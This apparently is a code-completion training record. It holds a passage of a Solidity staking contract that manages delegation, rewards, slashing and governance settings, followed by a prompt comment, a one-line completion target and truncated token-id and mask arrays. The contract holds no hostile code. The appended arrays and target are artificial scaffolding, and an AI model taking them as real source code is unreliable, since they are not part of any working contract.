serviceProvider,
spDelegateInfo[serviceProvider].totalDelegatedStake.sub(unstakeAmount),
delegateInfo[delegator][serviceProvider].sub(unstakeAmount),
delegatorTotalStake[delegator].sub(unstakeAmount)
);
// Need to ensure delegationAmount is >= both minDelegationAmount and spMinDelegationAmount
// since spMinDelegationAmount by default is 0
// Only exception is when delegating entire stake down to 0
require(
(
delegateInfo[delegator][serviceProvider] >= minDelegationAmount &&
delegateInfo[delegator][serviceProvider] >= spMinDelegationAmounts[serviceProvider]
) || delegateInfo[delegator][serviceProvider] == 0,
ERROR_MINIMUM_DELEGATION
);
// Remove from delegators list if no delegated stake remaining
if (delegateInfo[delegator][serviceProvider] == 0) {
_removeFromDelegatorsList(serviceProvider, delegator);
}
// Update total locked for this service provider, decreasing by unstake amount
_updateServiceProviderLockupAmount(
serviceProvider,
spDelegateInfo[serviceProvider].totalLockedUpStake.sub(unstakeAmount)
);
// Reset undelegate request
_resetUndelegateStakeRequest(delegator);
emit UndelegateStakeRequestEvaluated(
delegator,
serviceProvider,
unstakeAmount
);
// Need to update service provider's `validBounds` flag
// Only way to do this is through `SPFactory.updateServiceProviderStake()`
// So we call it with the existing `spDeployerStake`
(uint256 spDeployerStake,,,,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(serviceProvider)
);
ServiceProviderFactory(serviceProviderFactoryAddress).updateServiceProviderStake(
serviceProvider, spDeployerStake
);
// Return new total
return delegateInfo[delegator][serviceProvider];
}
/**
* @notice Claim and distribute rewards to delegators and service provider as necessary
* @param _serviceProvider - Provider for which rewards are being distributed
* @dev Factors in service provider rewards from delegator and transfers deployer cut
*/
function claimRewards(address _serviceProvider) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireClaimsManagerAddressIsSet();
ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress);
// Total rewards = (balance in staking) - ((balance in sp factory) + (balance in delegate manager))
(
uint256 totalBalanceInStaking,
uint256 totalBalanceInSPFactory,
uint256 totalActiveFunds,
uint256 totalRewards,
uint256 deployerCut
) = _validateClaimRewards(spFactory, _serviceProvider);
// No-op if balance is already equivalent
// This case can occur if no rewards due to bound violation or all stake is locked
if (totalRewards == 0) {
return;
}
uint256 totalDelegatedStakeIncrease = _distributeDelegateRewards(
_serviceProvider,
totalActiveFunds,
totalRewards,
deployerCut,
spFactory.getServiceProviderDeployerCutBase()
);
// Update total delegated to this SP
spDelegateInfo[_serviceProvider].totalDelegatedStake = (
spDelegateInfo[_serviceProvider].totalDelegatedStake.add(totalDelegatedStakeIncrease)
);
// spRewardShare represents rewards directly allocated to service provider for their stake
// Value is computed as the remainder of total minted rewards after distribution to
// delegators, eliminating any potential for precision loss.
uint256 spRewardShare = totalRewards.sub(totalDelegatedStakeIncrease);
// Adding the newly calculated reward share to current balance
uint256 newSPFactoryBalance = totalBalanceInSPFactory.add(spRewardShare);
require(
totalBalanceInStaking == newSPFactoryBalance.add(spDelegateInfo[_serviceProvider].totalDelegatedStake),
"DelegateManager: claimRewards amount mismatch"
);
spFactory.updateServiceProviderStake(
_serviceProvider,
newSPFactoryBalance
);
}
/**
* @notice Reduce current stake amount
* @dev Only callable by governance. Slashes service provider and delegators equally
* @param _amount - amount in wei to slash
* @param _slashAddress - address of service provider to slash
*/
function slash(uint256 _amount, address _slashAddress)
external
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
Staking stakingContract = Staking(stakingAddress);
ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress);
// Amount stored in staking contract for owner
uint256 totalBalanceInStakingPreSlash = stakingContract.totalStakedFor(_slashAddress);
require(
(totalBalanceInStakingPreSlash >= _amount),
"DelegateManager: Cannot slash more than total currently staked"
);
// Cancel any withdrawal request for this service provider
(uint256 spLockedStake,) = spFactory.getPendingDecreaseStakeRequest(_slashAddress);
if (spLockedStake > 0) {
spFactory.cancelDecreaseStakeRequest(_slashAddress);
}
// Amount in sp factory for slash target
(uint256 totalBalanceInSPFactory,,,,,) = (
spFactory.getServiceProviderDetails(_slashAddress)
);
require(
totalBalanceInSPFactory > 0,
"DelegateManager: Service Provider stake required"
);
// Decrease value in Staking contract
// A value of zero slash will fail in staking, reverting this transaction
stakingContract.slash(_amount, _slashAddress);
uint256 totalBalanceInStakingAfterSlash = stakingContract.totalStakedFor(_slashAddress);
// Emit slash event
emit Slash(_slashAddress, _amount, totalBalanceInStakingAfterSlash);
uint256 totalDelegatedStakeDecrease = 0;
// For each delegator and deployer, recalculate new value
// newStakeAmount = newStakeAmount * (oldStakeAmount / totalBalancePreSlash)
for (uint256 i = 0; i < spDelegateInfo[_slashAddress].delegators.length; i++) {
address delegator = spDelegateInfo[_slashAddress].delegators[i];
uint256 preSlashDelegateStake = delegateInfo[delegator][_slashAddress];
uint256 newDelegateStake = (
totalBalanceInStakingAfterSlash.mul(preSlashDelegateStake)
).div(totalBalanceInStakingPreSlash);
// slashAmountForDelegator = preSlashDelegateStake - newDelegateStake;
delegateInfo[delegator][_slashAddress] = (
delegateInfo[delegator][_slashAddress].sub(preSlashDelegateStake.sub(newDelegateStake))
);
// Update total stake for delegator
_updateDelegatorTotalStake(
delegator,
delegatorTotalStake[delegator].sub(preSlashDelegateStake.sub(newDelegateStake))
);
// Update total decrease amount
totalDelegatedStakeDecrease = (
totalDelegatedStakeDecrease.add(preSlashDelegateStake.sub(newDelegateStake))
);
// Check for any locked up funds for this slashed delegator
// Slash overrides any pending withdrawal requests
if (undelegateRequests[delegator].amount != 0) {
address unstakeSP = undelegateRequests[delegator].serviceProvider;
uint256 unstakeAmount = undelegateRequests[delegator].amount;
// Remove pending request
_updateServiceProviderLockupAmount(
unstakeSP,
spDelegateInfo[unstakeSP].totalLockedUpStake.sub(unstakeAmount)
);
_resetUndelegateStakeRequest(delegator);
}
}
// Update total delegated to this SP
spDelegateInfo[_slashAddress].totalDelegatedStake = (
spDelegateInfo[_slashAddress].totalDelegatedStake.sub(totalDelegatedStakeDecrease)
);
// Remaining decrease applied to service provider
uint256 totalStakeDecrease = (
totalBalanceInStakingPreSlash.sub(totalBalanceInStakingAfterSlash)
);
uint256 totalSPFactoryBalanceDecrease = (
totalStakeDecrease.sub(totalDelegatedStakeDecrease)
);
spFactory.updateServiceProviderStake(
_slashAddress,
totalBalanceInSPFactory.sub(totalSPFactoryBalanceDecrease)
);
}
/**
* @notice Initiate forcible removal of a delegator
* @param _serviceProvider - address of service provider
* @param _delegator - address of delegator
*/
function requestRemoveDelegator(address _serviceProvider, address _delegator) external {
_requireIsInitialized();
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
removeDelegatorRequests[_serviceProvider][_delegator] == 0,
"DelegateManager: Pending remove delegator request"
);
require(
_delegatorExistsForSP(_delegator, _serviceProvider),
ERROR_DELEGATOR_STAKE
);
// Update lockup
removeDelegatorRequests[_serviceProvider][_delegator] = (
block.number + removeDelegatorLockupDuration
);
emit RemoveDelegatorRequested(
_serviceProvider,
_delegator,
removeDelegatorRequests[_serviceProvider][_delegator]
);
}
/**
* @notice Cancel pending removeDelegator request
* @param _serviceProvider - address of service provider
* @param _delegator - address of delegator
*/
function cancelRemoveDelegatorRequest(address _serviceProvider, address _delegator) external {
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
removeDelegatorRequests[_serviceProvider][_delegator] != 0,
"DelegateManager: No pending request"
);
// Reset lockup expiry
removeDelegatorRequests[_serviceProvider][_delegator] = 0;
emit RemoveDelegatorRequestCancelled(_serviceProvider, _delegator);
}
/**
* @notice Evaluate removeDelegator request
* @param _serviceProvider - address of service provider
* @param _delegator - address of delegator
* @return Updated total amount delegated to the service provider by delegator
*/
function removeDelegator(address _serviceProvider, address _delegator) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
removeDelegatorRequests[_serviceProvider][_delegator] != 0,
"DelegateManager: No pending request"
);
// Enforce lockup expiry block
require(
block.number >= removeDelegatorRequests[_serviceProvider][_delegator],
"DelegateManager: Lockup must be expired"
);
// Enforce evaluation window for request
require(
block.number < removeDelegatorRequests[_serviceProvider][_delegator] + removeDelegatorEvalDuration,
"DelegateManager: RemoveDelegator evaluation window expired"
);
uint256 unstakeAmount = delegateInfo[_delegator][_serviceProvider];
// Unstake on behalf of target service provider
Staking(stakingAddress).undelegateStakeFor(
_serviceProvider,
_delegator,
unstakeAmount
);
// Update total delegated for SP
// totalServiceProviderDelegatedStake - total amount delegated to service provider
// totalStakedForSpFromDelegator - amount staked from this delegator to targeted service provider
_updateDelegatorStake(
_delegator,
_serviceProvider,
spDelegateInfo[_serviceProvider].totalDelegatedStake.sub(unstakeAmount),
delegateInfo[_delegator][_serviceProvider].sub(unstakeAmount),
delegatorTotalStake[_delegator].sub(unstakeAmount)
);
if (
_undelegateRequestIsPending(_delegator) &&
undelegateRequests[_delegator].serviceProvider == _serviceProvider
) {
// Remove pending request information
_updateServiceProviderLockupAmount(
_serviceProvider,
spDelegateInfo[_serviceProvider].totalLockedUpStake.sub(undelegateRequests[_delegator].amount)
);
_resetUndelegateStakeRequest(_delegator);
}
// Remove from list of delegators
_removeFromDelegatorsList(_serviceProvider, _delegator);
// Reset lockup expiry
removeDelegatorRequests[_serviceProvider][_delegator] = 0;
emit RemoveDelegatorRequestEvaluated(_serviceProvider, _delegator, unstakeAmount);
}
/**
* @notice SP can update their minDelegationAmount
* @param _serviceProvider - address of service provider
* @param _spMinDelegationAmount - new minDelegationAmount for SP
* @notice does not enforce _spMinDelegationAmount >= minDelegationAmount since not necessary
* delegateStake() and undelegateStake() always take the max of both already
*/
function updateSPMinDelegationAmount(
address _serviceProvider,
uint256 _spMinDelegationAmount
) external {
_requireIsInitialized();
require(msg.sender == _serviceProvider, ERROR_ONLY_SERVICE_PROVIDER);
/**
* Ensure _serviceProvider is a valid SP
* No objective source of truth, closest heuristic is numEndpoints > 0
*/
(,,, uint256 numEndpoints,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress)
.getServiceProviderDetails(_serviceProvider)
);
require(numEndpoints > 0, ERROR_ONLY_SERVICE_PROVIDER);
spMinDelegationAmounts[_serviceProvider] = _spMinDelegationAmount;
emit SPMinDelegationAmountUpdated(_serviceProvider, _spMinDelegationAmount);
}
/**
* @notice Update duration for undelegate request lockup
* @param _duration - new lockup duration
*/
function updateUndelegateLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateUndelegateLockupDuration(_duration);
emit UndelegateLockupDurationUpdated(_duration);
}
/**
* @notice Update maximum delegators allowed
* @param _maxDelegators - new max delegators
*/
function updateMaxDelegators(uint256 _maxDelegators) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
maxDelegators = _maxDelegators;
emit MaxDelegatorsUpdated(_maxDelegators);
}
/**
* @notice Update minimum delegation amount
* @param _minDelegationAmount - min new min delegation amount
*/
function updateMinDelegationAmount(uint256 _minDelegationAmount) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
minDelegationAmount = _minDelegationAmount;
emit MinDelegationUpdated(_minDelegationAmount);
}
/**
* @notice Update remove delegator lockup duration
* @param _duration - new lockup duration
*/
function updateRemoveDelegatorLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateRemoveDelegatorLockupDuration(_duration);
emit RemoveDelegatorLockupDurationUpdated(_duration);
}
/**
* @notice Update remove delegator evaluation window duration
* @param _duration - new window duration
*/
function updateRemoveDelegatorEvalDuration(uint256 _duration) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
removeDelegatorEvalDuration = _duration;
emit RemoveDelegatorEvalDurationUpdated(_duration);
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
governanceAddress = _governanceAddress;
emit GovernanceAddressUpdated(_governanceAddress);
}
/**
* @notice Set the Staking address
* @dev Only callable by Governance address
* @param _stakingAddress - address for new Staking contract
*/
function setStakingAddress(address _stakingAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
stakingAddress = _stakingAddress;
emit StakingAddressUpdated(_stakingAddress);
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by Governance address
* @param _spFactory - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _spFactory) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceProviderFactoryAddress = _spFactory;
emit ServiceProviderFactoryAddressUpdated(_spFactory);
}
/**
* @notice Set the ClaimsManager address
* @dev Only callable by Governance address
* @param _claimsManagerAddress - address for new ClaimsManager contract
*/
function setClaimsManagerAddress(address _claimsManagerAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
claimsManagerAddress = _claimsManagerAddress;
emit ClaimsManagerAddressUpdated(_claimsManagerAddress);
}
// ========================================= View Functions =========================================
/**
* @notice Get list of delegators for a given service provider
* @param _sp - service provider address
*/
function getDelegatorsList(address _sp)
external view returns (address[] memory)
{
_requireIsInitialized();
return spDelegateInfo[_sp].delegators;
}
/**
* @notice Get total delegation from a given address
* @param _delegator - delegator address
*/
function getTotalDelegatorStake(address _delegator)
external view returns (uint256)
{
_requireIsInitialized();
return delegatorTotalStake[_delegator];
}
/// @notice Get total amount delegated to a service provider
function getTotalDelegatedToServiceProvider(address _sp)
external view returns (uint256)
{
_requireIsInitialized();
return spDelegateInfo[_sp].totalDelegatedStake;
}
/// @notice Get total delegated stake locked up for a service provider
function getTotalLockedDelegationForServiceProvider(address _sp)
external view returns (uint256)
{
_requireIsInitialized();
return spDelegateInfo[_sp].totalLockedUpStake;
}
/// @notice Get total currently staked for a delegator, for a given service provider
function getDelegatorStakeForServiceProvider(address _delegator, address _serviceProvider)
external view returns (uint256)
{
_requireIsInitialized();
return delegateInfo[_delegator][_serviceProvider];
}
/**
* @notice Get status of pending undelegate request for a given address
* @param _delegator - address of the delegator
*/
function getPendingUndelegateRequest(address _delegator)
external view returns (address target, uint256 amount, uint256 lockupExpiryBlock)
{
_requireIsInitialized();
UndelegateStakeRequest memory req = undelegateRequests[_delegator];
return (req.serviceProvider, req.amount, req.lockupExpiryBlock);
}
/**
* @notice Get status of pending remove delegator request for a given address
* @param _serviceProvider - address of the service provider
* @param _delegator - address of the delegator
* @return - current lockup expiry block for remove delegator request
*/
function getPendingRemoveDelegatorRequest(
address _serviceProvider,
address _delegator
) external view returns (uint256)
{
_requireIsInitialized();
return removeDelegatorRequests[_serviceProvider][_delegator];
}
/**
* @notice Get minDelegationAmount for given SP
* @param _serviceProvider - address of the service provider
* @return - minDelegationAmount for given SP
*/
function getSPMinDelegationAmount(address _serviceProvider) external view returns (uint256) {
return spMinDelegationAmounts[_serviceProvider];
}
/// @notice Get current undelegate lockup duration
function getUndelegateLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return undelegateLockupDuration;
}
/// @notice Current maximum delegators
function getMaxDelegators()
external view returns (uint256)
{
_requireIsInitialized();
return maxDelegators;
}
/// @notice Get minimum delegation amount
function getMinDelegationAmount()
external view returns (uint256)
{
_requireIsInitialized();
return minDelegationAmount;
}
/// @notice Get the duration for remove delegator request lockup
function getRemoveDelegatorLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return removeDelegatorLockupDuration;
}
/// @notice Get the duration for evaluation of remove delegator operations
function getRemoveDelegatorEvalDuration()
external view returns (uint256)
{
_requireIsInitialized();
return removeDelegatorEvalDuration;
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the ClaimsManager address
function getClaimsManagerAddress() external view returns (address) {
_requireIsInitialized();
return claimsManagerAddress;
}
/// @notice Get the Staking address
function getStakingAddress() external view returns (address)
{
_requireIsInitialized();
return stakingAddress;
}
// ========================================= Internal functions =========================================
/**
* @notice Helper function for claimRewards to get balances from Staking contract
and do validation
* @param spFactory - reference to ServiceProviderFactory contract
* @param _serviceProvider - address for which rewards are being claimed
* @return (totalBalanceInStaking, totalBalanceInSPFactory, totalActiveFunds, spLockedStake, totalRewards, deployerCut)
*/
function _validateClaimRewards(ServiceProviderFactory spFactory, address _serviceProvider)
internal returns (
uint256 totalBalanceInStaking,
uint256 totalBalanceInSPFactory,
uint256 totalActiveFunds,
uint256 totalRewards,
uint256 deployerCut
)
{
// Account for any pending locked up stake for the service provider
(uint256 spLockedStake,) = spFactory.getPendingDecreaseStakeRequest(_serviceProvider);
uint256 totalLockedUpStake = (
spDelegateInfo[_serviceProvider].totalLockedUpStake.add(spLockedStake)
);
// Process claim for msg.sender
// Total locked parameter is equal to delegate locked up stake + service provider locked up stake
uint256 mintedRewards = ClaimsManager(claimsManagerAddress).processClaim(
_serviceProvider,
totalLockedUpStake
);
// Amount stored in staking contract for owner
totalBalanceInStaking = Staking(stakingAddress).totalStakedFor(_serviceProvider);
// Amount in sp factory for claimer
(
totalBalanceInSPFactory,
deployerCut,
,,,
) = spFactory.getServiceProviderDetails(_serviceProvider);
// Require active stake to claim any rewards
// Amount in delegate manager staked to service provider
uint256 totalBalanceOutsideStaking = (
totalBalanceInSPFactory.add(spDelegateInfo[_serviceProvider].totalDelegatedStake)
);
totalActiveFunds = totalBalanceOutsideStaking.sub(totalLockedUpStake);
require(
mintedRewards == totalBalanceInStaking.sub(totalBalanceOutsideStaking),
"DelegateManager: Reward amount mismatch"
);
// Emit claim event
emit Claim(_serviceProvider, totalRewards, totalBalanceInStaking);
return (
totalBalanceInStaking,
totalBalanceInSPFactory,
totalActiveFunds,
mintedRewards,
deployerCut
);
}
/**
* @notice Perform state updates when a delegate stake has changed
* @param _delegator - address of delegator
* @param _serviceProvider - address of service provider
* @param _totalServiceProviderDelegatedStake - total delegated to this service provider
* @param _totalStakedForSpFromDelegator - total delegated to this service provider by delegator
* @param _totalDelegatorStake - total delegated from this delegator address
*/
function _updateDelegatorStake(
address _delegator,
address _serviceProvider,
uint256 _totalServiceProviderDelegatedStake,
uint256 _totalStakedForSpFromDelegator,
uint256 _totalDelegatorStake
) internal
{
// Update total delegated for SP
spDelegateInfo[_serviceProvider].totalDelegatedStake = _totalServiceProviderDelegatedStake;
// Update amount staked from this delegator to targeted service provider
delegateInfo[_delegator][_serviceProvider] = _totalStakedForSpFromDelegator;
// Update total delegated from this delegator
_updateDelegatorTotalStake(_delegator, _totalDelegatorStake);
}
/**
* @notice Reset pending undelegate stake request
* @param _delegator - address of delegator
*/
function _resetUndelegateStakeRequest(address _delegator) internal
{
_updateUndelegateStakeRequest(_delegator, address(0), 0, 0);
}
/**
* @notice Perform updates when undelegate request state has changed
* @param _delegator - address of delegator
* @param _serviceProvider - address of service provider
* @param _amount - amount being undelegated
* @param _lockupExpiryBlock - block at which stake can be undelegated
*/
function _updateUndelegateStakeRequest(
address _delegator,
address _serviceProvider,
uint256 _amount,
uint256 _lockupExpiryBlock
) internal
{
// Update lockup information
undelegateRequests[_delegator] = UndelegateStakeRequest({
lockupExpiryBlock: _lockupExpiryBlock,
amount: _amount,
serviceProvider: _serviceProvider
});
}
/**
* @notice Update total amount delegated from an address
* @param _delegator - address of service provider
* @param _amount - updated delegator total
*/
function _updateDelegatorTotalStake(address _delegator, uint256 _amount) internal
{
delegatorTotalStake[_delegator] = _amount;
}
/**
* @notice Update amount currently locked up for this service provider
* @param _serviceProvider - address of service provider
* @param _updatedLockupAmount - updated lock up amount
*/
function _updateServiceProviderLockupAmount(
address _serviceProvider,
uint256 _updatedLockupAmount
) internal
{
spDelegateInfo[_serviceProvider].totalLockedUpStake = _updatedLockupAmount;
}
function _removeFromDelegatorsList(address _serviceProvider, address _delegator) internal
{
for (uint256 i = 0; i < spDelegateInfo[_serviceProvider].delegators.length; i++) {
if (spDelegateInfo[_serviceProvider].delegators[i] == _delegator) {
// Overwrite and shrink delegators list
spDelegateInfo[_serviceProvider].delegators[i] = spDelegateInfo[_serviceProvider].delegators[spDelegateInfo[_serviceProvider].delegators.length - 1];
spDelegateInfo[_serviceProvider].delegators.length--;
break;
}
}
}
/**
* @notice Helper function to distribute rewards to any delegators
* @param _sp - service provider account tracked in staking
* @param _totalActiveFunds - total funds minus any locked stake
* @param _totalRewards - total rewaards generated in this round
* @param _deployerCut - service provider cut of delegate rewards, defined as deployerCut / deployerCutBase
* @param _deployerCutBase - denominator value for calculating service provider cut as a %
* @return (totalBalanceInStaking, totalBalanceInSPFactory, totalBalanceOutsideStaking)
*/
function _distributeDelegateRewards(
address _sp,
uint256 _totalActiveFunds,
uint256 _totalRewards,
uint256 _deployerCut,
uint256 _deployerCutBase
)
internal returns (uint256 totalDelegatedStakeIncrease)
{
// Traverse all delegates and calculate their rewards
// As each delegate reward is calculated, increment SP cut reward accordingly
for (uint256 i = 0; i < spDelegateInfo[_sp].delegators.length; i++) {
address delegator = spDelegateInfo[_sp].delegators[i];
uint256 delegateStakeToSP = delegateInfo[delegator][_sp];
// Subtract any locked up stake
if (undelegateRequests[delegator].serviceProvider == _sp) {
delegateStakeToSP = delegateStakeToSP.sub(undelegateRequests[delegator].amount);
}
// Calculate rewards by ((delegateStakeToSP / totalActiveFunds) * totalRewards)
uint256 rewardsPriorToSPCut = (
delegateStakeToSP.mul(_totalRewards)
).div(_totalActiveFunds);
// Multiply by deployer cut fraction to calculate reward for SP
// Operation constructed to perform all multiplication prior to division
// uint256 spDeployerCut = (rewardsPriorToSPCut * deployerCut ) / (deployerCutBase);
// = ((delegateStakeToSP * totalRewards) / totalActiveFunds) * deployerCut ) / (deployerCutBase);
// = ((delegateStakeToSP * totalRewards * deployerCut) / totalActiveFunds ) / (deployerCutBase);
// = (delegateStakeToSP * totalRewards * deployerCut) / (deployerCutBase * totalActiveFunds);
uint256 spDeployerCut = (
(delegateStakeToSP.mul(_totalRewards)).mul(_deployerCut)
).div(
_totalActiveFunds.mul(_deployerCutBase)
);
// Increase total delegate reward in DelegateManager
// Subtract SP reward from rewards to calculate delegate reward
// delegateReward = rewardsPriorToSPCut - spDeployerCut;
delegateInfo[delegator][_sp] = (
delegateInfo[delegator][_sp].add(rewardsPriorToSPCut.sub(spDeployerCut))
);
// Update total for this delegator
_updateDelegatorTotalStake(
delegator,
delegatorTotalStake[delegator].add(rewardsPriorToSPCut.sub(spDeployerCut))
);
totalDelegatedStakeIncrease = (
totalDelegatedStakeIncrease.add(rewardsPriorToSPCut.sub(spDeployerCut))
);
}
return (totalDelegatedStakeIncrease);
}
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"DelegateManager: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
/**
* @notice Set the remove delegator lockup duration after validating against governance
* @param _duration - Incoming remove delegator duration value
*/
function _updateRemoveDelegatorLockupDuration(uint256 _duration) internal {
Governance governance = Governance(governanceAddress);
require(
_duration > governance.getVotingPeriod() + governance.getExecutionDelay(),
"DelegateManager: removeDelegatorLockupDuration duration must be greater than governance votingPeriod + executionDelay"
);
removeDelegatorLockupDuration = _duration;
}
/**
* @notice Set the undelegate lockup duration after validating against governance
* @param _duration - Incoming undelegate lockup duration value
*/
function _updateUndelegateLockupDuration(uint256 _duration) internal {
Governance governance = Governance(governanceAddress);
require(
_duration > governance.getVotingPeriod() + governance.getExecutionDelay(),
"DelegateManager: undelegateLockupDuration duration must be greater than governance votingPeriod + executionDelay"
);
undelegateLockupDuration = _duration;
}
/**
* @notice Returns if delegator has delegated to a service provider
* @param _delegator - address of delegator
* @param _serviceProvider - address of service provider
* @return boolean indicating whether delegator exists for service provider
*/
function _delegatorExistsForSP(
address _delegator,
address _serviceProvider
) internal view returns (bool)
{
for (uint256 i = 0; i < spDelegateInfo[_serviceProvider].delegators.length; i++) {
if (spDelegateInfo[_serviceProvider].delegators[i] == _delegator) {
return true;
}
}
// Not found
return false;
}
/**
* @notice Determine if a claim is pending for this service provider
* @param _sp - address of service provider
* @return boolean indicating whether a claim is pending
*/
function _claimPending(address _sp) internal view returns (bool) {
ClaimsManager claimsManager = ClaimsManager(claimsManagerAddress);
return claimsManager.claimPending(_sp);
}
/**
* @notice Determine if a decrease request has been initiated
* @param _delegator - address of delegator
* @return boolean indicating whether a decrease request is pending
*/
function _undelegateRequestIsPending(address _delegator) internal view returns (bool)
{
return (
(undelegateRequests[_delegator].lockupExpiryBlock != 0) &&
(undelegateRequests[_delegator].amount != 0) &&
(undelegateRequests[_delegator].serviceProvider != address(0))
);
}
// ========================================= Private Functions =========================================
function _requireStakingAddressIsSet() private view {
require(
stakingAddress != address(0x00),
"DelegateManager: stakingAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"DelegateManager: serviceProviderFactoryAddress is not set"
);
}
function _requireClaimsManagerAddressIsSet() private view {
require(
claimsManagerAddress != address(0x00),
"DelegateManager: claimsManagerAddress is not set"
);
}
} | Confirm both aggregate account balance and directly staked amount are valid | this.validateAccountStakeBalance(msg.sender);
| 1,231,852 | [
1,
11269,
3937,
7047,
2236,
11013,
471,
5122,
384,
9477,
3844,
854,
923,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
333,
18,
5662,
3032,
510,
911,
13937,
12,
3576,
18,
15330,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
